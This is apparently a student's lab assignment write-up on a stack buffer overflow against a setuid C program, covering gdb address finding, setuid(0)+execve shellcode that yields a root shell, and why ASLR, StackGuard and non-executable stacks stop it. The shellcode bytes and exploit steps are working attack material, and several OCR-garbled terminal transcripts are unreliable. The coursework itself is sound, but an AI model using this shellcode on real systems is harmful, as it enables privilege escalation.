Computer Security Practice – Assignment 1

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Task 1 (Exploiting the Vulnerability):

1.Smashed stack layout explanation: 10 marks. Please explain the smashed stack layout of the target program (using a diagram), not the stack layout in general.

Higher Address

Malicious Code
No-op Sled
str (a pointer to string)
Return Address
base pointer
buffer[0][buffer[11]

Low Address

Ans: Stack grows downward. The vulnerable function strcpy() in stack1.c copies the contents into the buffer without checking the size of the buffer because strcpy() does not check the boundaries. This opens a vulnerability where an attacker can over write the buffer, base pointer, return address and other higher memory addresses. Stack1.c program gets its input from a file called "badfile", which is generated by exploit1.c program. We have to change the return address to point to the shellcode, then it will read the shell code (malicious code) and give us a shell. To make sure our attack is successful, in this task we have disabled address randomization and enabled stack execution.

2. Finding the correct addresses: 20 marks

Please give the method used to find all necessary addresses, including the starting address of the buffer, the address of the saved return address, and the target address (the one used to overwrite the original saved return address). A screenshot is preferred to show the process of finding the correct address.

Ans:

a. Finding the starting address of the buffer

- i. Start the debugger with command: gdb ./stack1
- ii. Break just before returning from the bof()
- iii. stack1.c is modified to print the buffer address (line 15 for reference in my program) and the buffer address is printed on the screen as 0xbfffedf4
- iv. check info registers to find the memory address of esp, ebp and eip.

```
| dtwyagdtyys://besktop/Asgnis sudo chnod 4755 stack1 |
dtwyagdtyys://besktop/Asgnis sudo chnod 4755 stack1 |
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dtwy
```

b.Address of the saved return address.

- i. From info registers, we can observe that \$ebp is at 0xbfffee08. The return address will be at 0xbfffee0c(\$ebp+4)
- ii. If we disassemble this, the output confirms that it is returning to main function.
- iii. So, the return address is 24 bytes after the address of the buffer address. (0xbffedf4+24 =0xbfffee0c)

```
(gdb) disassemble 0x08048572
Dump of assembler code for function main:
   0x0804851e <+0>:
                        lea
                               0x4(%esp),%ecx
   0x08048522 <+4>:
                        and
                               $0xfffffff0,%esp
   0x08048525 <+7>:
                        pushl
                               -0x4(%ecx)
   0x08048528 <+10>:
                        push
                               %ebp
   0x08048529 <+11>:
                        mov
                               %esp,%ebp
                        push
   0x0804852b <+13>:
                               %ecx
   0x0804852c <+14>:
                        sub
                               $0x214,%esp
   0x08048532 <+20>:
                       sub
                               $0x8,%esp
   0x08048535 <+23>:
                     push
                               $0x804863a
   0x0804853a <+28>:
                               $0x804863c
                      push
   0x0804853f <+33>:
                      call
                               0x80483d0 <fopen@plt>
   0x08048544 <+38>:
                        add
                               $0x10,%esp
                               %eax, -0xc(%ebp)
-0xc(%ebp)
   0x08048547 <+41>:
                        mov
   0x0804854a <+44>:
                        pushl
   0x0804854d <+47>:
                               $0x205
                        push
                        push
   0x08048552 <+52>:
                               $0x1
   0x08048554 <+54>:
                        lea
                               -0x211(%ebp),%eax
   0x0804855a <+60>:
                        push
                               %eax
                               0x8048390 <fread@plt>
   0x0804855b <+61>:
                        call
   0x08048560 <+66>:
                        add
                               $0x10,%esp
                               $0xc,%esp
   0x08048563 <+69>:
                        sub
   0x08048566 <+72>:
                               -0x211(%ebp),%eax
                        lea
   0x0804856c <+78>:
                        push
   0x0804856d <+79>:
                        call
                               0x80484eb <bof>
   0x08048572 <+84>:
                        add
                               $0x10,%esp
   0x08048575 <+87>:
                               $0xc,%esp
                       sub
   0x08048578 <+90>:
                        push
                               $0x8048644
   0x0804857d <+95>:
                        call
                               0x80483b0 <puts@plt>
   0x08048582 <+100>:
                               $0x10,%esp
                        add
   0x08048585 <+103>:
                               $0x1,%eax
                        MOV
   0x0804858a <+108>:
                               -0x4(%ebp),%ecx
                        MOV
   0x0804858d <+111>:
                        leave
   0x0804858e <+112>:
                               -0x4(%ecx),%esp
                        lea
   0x08048591 <+115>:
                        ret
End of assembler dump.
```

c. Target address: The target address can be pointed to anywhere after the return address in no op sled which is 0x91. This will help to get a shell.

The Will help to get a sheet.						
(gdb) x/200xw						
<pre>0xbfffedf0:</pre>	0xbffff038	0x90909090	0x90909090	0x90909090		
0xbfffee00:	0x90909090	0x90909090	0x90909090	0xbfffee54		
0xbfffee10:	0xbfffee00	0x0000001	0x00000205	0x0804b008		
0xbfffee20:	0x00000008	0x90ff1f96	0x90909090	0x90909090		
0xbfffee30:	0x90909090	0x90909090	0x90909090	0x54909090		
0xbfffee40:	0x00bfffee	0x90909090	0x90909090	0x90909090		
0xbfffee50:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffee60:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffee70:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffee80:	0x90909090	0x90909090	0x31909090	0x2f6850c0		
0xbfffee90:	0x6868732f	0x6e69622f	0x5350e389	0xb099e189		
0xbfffeea0:	0x0080cd0b	0x90909090	0x90909090	0x90909090		
0xbfffeeb0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffeec0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffeed0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffeee0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffeef0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef00:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef10:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef20:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef30:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef40:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef50:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef60:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef70:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef80:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffef90:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffefa0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffefb0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffefc0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffefd0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffefe0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbfffeff0:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbffff000:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbffff010: 0xbffff020:	0x90909090	0x90909090	0x90909090	0x90909090		
0xbffff030:	0x90909090 0xb7fb93dc	0x90909090 0xbffff050	0x90909090	0x0804b008 0xb7e1f637		
0xbffff040:	0xb7fb9000	0xb7fb9000	0x00000000 0x00000000	0xb7e1f637		
0xbffff050:	0x00000001	0xbffff0e4	0xbffff0ec	0x00000000		
0xbffff060:	0x00000001	0x00000000	0xb7fb9000	0xb7fffc04		
0xbffff070:	0xb7fff000	0x00000000	0xb7fb9000	0xb7ffb9000		
0xbffff080:	0x00000000	0x03e62ccd	0x3fed62dd	0x00000000		
0xbffff090:	0x00000000	0x00000000	0x00000001	0x080483f0		
0xbfffff0a0:	0x00000000	0xb7ff0010	0xb7fea880	0xb7fff000		
0xbffff0b0:	0x00000000	0x080483f0	0x00000000	0x08048411		
0xbffff0c0:	0x0804851e	0x00000001	0xbfffff0e4	0x08048411 0x080485a0		
0xbffff0d0:	0x08048516	0xb7fea880	0xbffff0dc	0xb7fff918		
0xbfffff0e0:	0x00000001	0xbffff2ba	0x00000000	0xbffff2db		
0xbffff0f0:	0xbfffff2e6	0xbffff2f8	0xbfffff329	0xbfffff33f		
0xbfffff100:	0xbfffff34e	0xbfffff380	0xbfffff391	0xbfffff3a8		
OXDITITIOU:	OKUITITJ 1 C	0.001111300	0.001111331	OXDITITION		

3. Getting the shell: 10 marks

Provide a screenshot showing that you can successfully obtain the shell.

Task 2 (Bypassing the Protection in /bin/bash):

1. Extended shellcode: 10 marks

Please show how you extend your shellcode in the exploit.c file so that the protection in bash can be bypassed.

Ans: In the shell code, added the assemble value of setuid(0) as highlighted in the screenshot below.

```
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
                                            /* push $0x17 *//*setuid=0*/
        "\x6a\x17"
        "\x58
                                            /* pop %eax */
        "\x31\xdb"
                                            /* xor %ebx, %ebx */
         "\xcd\x80'
                                            /* int $0x80 */
          \x31\xc0
                                            /* xorl %eax,%eax */
        "\x50"
                                   /* pushl %eax */
/* pushl $0x68732f2f */
        "\x68""//sh"
"\x68""/bin"
                                   /* pushl $0x6e69622f */
        "\x89\xe3"
                                            /* movl %esp,%ebx */
        "\x50"
                                            /* pushl %eax */
        "\x53"
                                            /* pushl %ebx */
        "\x89\xe1"
                                            /* movl %esp,%ecx */
        "\x99"
                                            /* cdql */
        "\xb0\x0b"
                                            /* movb $0x0b,%al */
        "\xcd\x80"
                                            /* int $0x80 */
```

2. Getting the root shell: 5 marks

Provide a screenshot showing that you can successfully obtain the root shell.

```
divya@divya: ~/Desktop/Asgn1
divya@divya: ~/Desktop/Asgn1$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for divya:
kernel.randomize_va_space = 0
divya@divya: ~/Desktop/Asgn1$ sudo gcc -fno-stack-protector -g -o stack1 stack1.c
divya@divya: ~/Desktop/Asgn1$ sudo chmod 4755 stack1
divya@divya: ~/Desktop/Asgn1$ sudo execstack -s stack1
divya@divya: ~/Desktop/Asgn1$ gcc -o exploit_root exploit_root.c
divya@divya: ~/Desktop/Asgn1$ ./exploit_root
divya@divya: ~/Desktop/Asgn1$ ./stack1
# whoami
root
#
```

Task 3 (Address randomization):

1. Explanation of address randomization: 5 marks

Ans Address Space Layout Randomization (ASLR) is implemented to protect against buffer overflow attacks by randomizing the addresses every time it is initialized. For a successful Buffer overflow attack, an attacker required to know where each part of the program is located in the memory. As the components of the program (including the stack, heap, and libraries) are moved to a different address in virtual memory every time, it can be difficult or impossible to guess the correct address and implement a successful attack.

2. Explain why it can prevent the exploit, using information you get from GDB: 10 marks Please use the information from GDB to explain why the attack in Task 2 cannot work with address randomization. You are expected to show which step (stack overwriting, jumping to correct address, or executing the shellcode) is prevented by the address randomization.

Ans: Based on the trials, we can observe that the buffer address is different each time we run the program. This randomization makes it difficult for the attacker to guess the correct addresses. Also, observe the randomized values of \$esp.

```
divya@divya:~/Desktop/test$ sudo gcc -fno-stack-protector -g -o stack1 stack1.c divya@divya:~/Desktop/test$ sudo chmod 4755 stack1
divya@divya:~/Desktop/test$ sudo execstack -s stack1
divya@divya:~/Desktop/test$ sudo gcc -fno-stack-protector -g -o stack1 stack1.
divya@divya:~/Desktop/test$ sudo execstack -s stack1
divya@divya:~/Desktop/test$ gcc -o exploit1 exploit1.c
divya@divya:~/Desktop/test$ gdb ./stack1
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.
Find the GDB manual and other documentation resources online at:
<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack1...done.
(gdb) list

2 char buffer[12];
                                        char buffer[12];
                                            /st The following statement has a buffer overflow problem st/
                                           strcpy(buffer, str);
printf("buffer is at address: %p\n", (void*)&buffer);
  16
17
18
19
                                            return 1:
                       int main(int argc, char **argv)
  (gdb) break 17
Breakpoint 1 at 0x8048517: file stack1.c, line 17.
   (gdb) run
Starting program: /home/divva/Desktop/test/stack1
     uffer is at address: 0xbfd70ff4
  Breakpoint 1, bof (
str=0x90909090 <error: Cannot access memory at address 0x90909090>)
            at stack1.c:18
                                             return 1;
   18
(gdb) x/20x $esp
0xbfd70ff0: 0xbfd71238
                                                                                       0x90909090
0x90909090
                                                                                                                                                                             0x90909090
0xbfffefb0
                                                                                                                                  0x90909090
                                            0x90909090
     xbfd71010:
xbfd71020:
                                                                                       0x90909090
0x90909090
                                             0x90909090
                                                                                                                                   0x90909090
                                                                                                                                                                              0x90909090
                                            0x90909090
                                                                                                                                  0x90909090
                                                                                                                                                                             0x90909090
```

```
divyagdivya:-/Desktop/test$ sudo sysctl -w kernel.randomize_va_space=2
[sudo] password for divya:
kernel.randomize_va_space = 2
divyagdivya:-/Desktop/test$ sudo gcc -fno-stack-protector -g -o stack1 stack1.c divyagdivya:-/Desktop/test$ sudo chmod 4755 stack1
divyagdivya:-/Desktop/test$ sudo excestack -s stack1
divyagdivya:-/Desktop/test$ got -o explotil explotil.c
divyagdivya:-/Desktop/test$ sudo chmod 4755 stack1
This GDB valua full explosion
divyagdivya:-/Desktop/test$ sudo chmod 4755 stack1
divyagdivya:-/Desktop/test$ got -o explotil.c
divyagdivya:-/Desktop/test$ got -o ex
       20
21 int main(int argc, char **argv)
(gdb) break 17
Breakpoint 1 at 0x8048517: file stack1.c, line 17.
(gdb) run
Starting program: /home/divya/Desktop/test/stack1
buffer is at address: 0xbfde2ec4
        Breakpoint 1, bof (
str=0x90909090 <error: Cannot access memory at address 0x90909090>)
at stack1.c:18
                                                                                                          return 1;
        (gdb) x/20x $esp
0xbfde2ec0:
                                                                                                         0xbfde3108
0x90909090
                                                                                                                                                                                                           0x90909090
                                                                                                                                                                                                                                                                                                             0x90909090
                                                                                                                                                                                                                                                                                                                                                                                                             0x90909090
0xbfffefb0
                                                                                                                                                                                                           0x90909090
                                                                                                                                                                                                                                                                                                             0x90909090
           0xbfde2ed0:
                                                                                                         0x90909090
0x90909090
                                                                                                                                                                                                           0x90909090
0x90909090
                                                                                                                                                                                                                                                                                                            0x90909090
0x90909090
                                                                                                                                                                                                                                                                                                                                                                                                             0x90909090
0x90909090
           0xbfde2ef0:
            0xbfde2f00:
(gdb)
```

Task 4 (Stack Guard):

1. Explanation of the mechanism of Stack Guard protector: 5 marks

Ans: Stack Guard is used in conjunction with other security hardening technologies and aims to protect the stack by protecting the return address on the stack from being modified. StackGuard inserts a small value known as a canary between the stack variables and the function return address to monitor buffer overflow. When the function return address is modified, the canary is also overwritten as it is between the return address and the buffer. The canary value is checked when the function returns. If there is a change in the canary value, Stack protection will abort the program and will set a flag that stack is smashed which leads to denial of service attack. Thereby, reducing the impact of the attack when stack guard protector is enabled. There are three types of canaries in use. Terminator canaries, Random canaries, Random XOR canaries.

2. Explain why it can prevent the exploit, using information you get from GDB: 10 marks Please use the information from GDB to explain why the attack in Task 2 cannot work with Stack Guard. You are expected to show which step (stack overwriting, jumping to correct address, or executing the shellcode) is prevented by Stack Guard.

Ans: As seen in the figure below, stack smashing is detected, and the program execution is terminated. The program checks if the canary value is tampered by using a call before returning the function and as shown in the figure, the stack check is failed.

```
divya@divya:-/Desktop/Asgn1$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for divya;
kernel.randomize_va_space = 0
divya@divya:-/Desktop/Asgn1$ sudo gcc -g -o stack1 stack1.c
divya@divya:-/Desktop/Asgn1$ sudo chnod 4755 stack1
divya@divya:-/Desktop/Asgn1$ sudo execstack -s stack1
divya@divya:-/Desktop/Asgn1$ gcc -o exploitsg exploitsg.c
divya@divya:-/Desktop/Asgn1$ ./exploitsg

ilvya@divya:-/Desktop/Asgn1$ ./exploitsg

ilvya@divya:-/Desktop/Asgn1$ ./exploitsg

ilvya@divya:-/Desktop/Asgn1$ ./stack1

buffer is at address: 0xbfffe20

*** stack smashing detected ***: ./stack1 terminated

dobreted (core dumped)

ilvya@divya:-/Desktop/Asgn1$ 

*** stack smashing detected ***: ./stack1 terminated

dobreted (core dumped)

ilvya@divya:-/Desktop/Asgn1$ 

*** stack smashing detected ***: ./stack1 terminated

dobreted (core dumped)

ilvya@divya:-/Desktop/Asgn1$ 

*** stack smashing detected ***: ./stack1 terminated

propromodification of the stack of
```

Observe the below values if the stack smashing is not detected (different values when stack smashing is detected from the above figures)

```
divya@divya:-/Desktop/workingroot$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for divya:
kernel.randomize_va_space = 0
divya@divya:-/Desktop/workingroot$ sudo gcc -fno-stack-protector -g -o stack1 stack1.c
divya@divya:-/Desktop/workingroot$ sudo chnod 4755 stack1
divya@divya:-/Desktop/workingroot$ sudo cestack -s stack1
divya@divya:-/Desktop/workingroot$ gcc -o exploit1 exploit1.c
divya@divya:-/Desktop/workingroot$ _/exploit1
divya@divya:-/Desktop/workingroot# _/exploit1
divya@divya:-/Desktop/workingroot/stack1
divya@divya:-/Desktop/workingroot/stack1
divya@divya:-/Desktop/workingroot/stack1
divya@divya:-/Desktop/workingroot/stack1
divya@divya:-/Desktop/workingroot/stack1
buffer is at address: 0xbfffede4

Breakpoint 1, bof (
str=0x99999990 <a href="mailto:exploit2">exploit2</a>
greturn 1;
gdb) x/20wx Sesp
0xbffffeds: 0x90909900 0x90909900 0x90909000 0x90909000
0xbfffeds: 0x90909000 0x9
```

Task 5 (Non-executable stack):

1.Explanation of the non-executable stack mechanism: 5 marks

Ans: Buffer overflow exploits put malicious code in stack area, and then jump to it to execute the malicious code. To protect from over flow attacks, the stack portion of a user process's virtual address space region is made non-executable. When an attacker tries to inject malicious code attack onto the stack, it prevents it from being executed. This is implemented using a technology supported by CPU known NX bit (no-execute bit) and is implemented as a patch in Linux. So, this patch can protect only if the attacker injects the malicious code on the stack and cannot prevent other buffer-overflow attacks, because there are other ways to run malicious code to exploit this vulnerability.

2. Explain why it can prevent the exploit, using information you get from GDB: 10 marks Please use the information from GDB to explain why the attack in Task 2 cannot work with non-executable stack.

Ans: When we run the program after re-enable non-executable stack on the vulnerable program, the program had thrown an error segmentation fault (core dumped) because it doesn't make it possible to run shellcode on the stack. The debugging on the program further helps to understand that it received a signal SIGSEGV to protect the stack.

```
divya@divya:~/Desktop/test$ sudo execstack -c stack1
[sudo] password for divya:
divya@divya:~/Desktop/test$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
divya@divya:~/Desktop/test$ sudo gcc -fno-stack-protector -g -o stack1 stack1.c
divya@divya:~/Desktop/test$ sudo chmod 4755 stack1
divya@divya:~/Desktop/test$ sudo execstack -c stack1
divya@divya:~/Desktop/test$ ./stack1
buffer is at address: 0xbfffee44
Segmentation fault (core dumped)
divya@divya:~/Desktop/test$
divya@divya:~/Desktop/test$ gdb ./stack1
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack1...done.
(adb) run
Starting program: /home/divya/Desktop/test/stack1
buffer is at address: 0xbfffedf4
Program received signal SIGSEGV, Segmentation fault.
0xbfffefb0 in ?? ()
(gdb)
```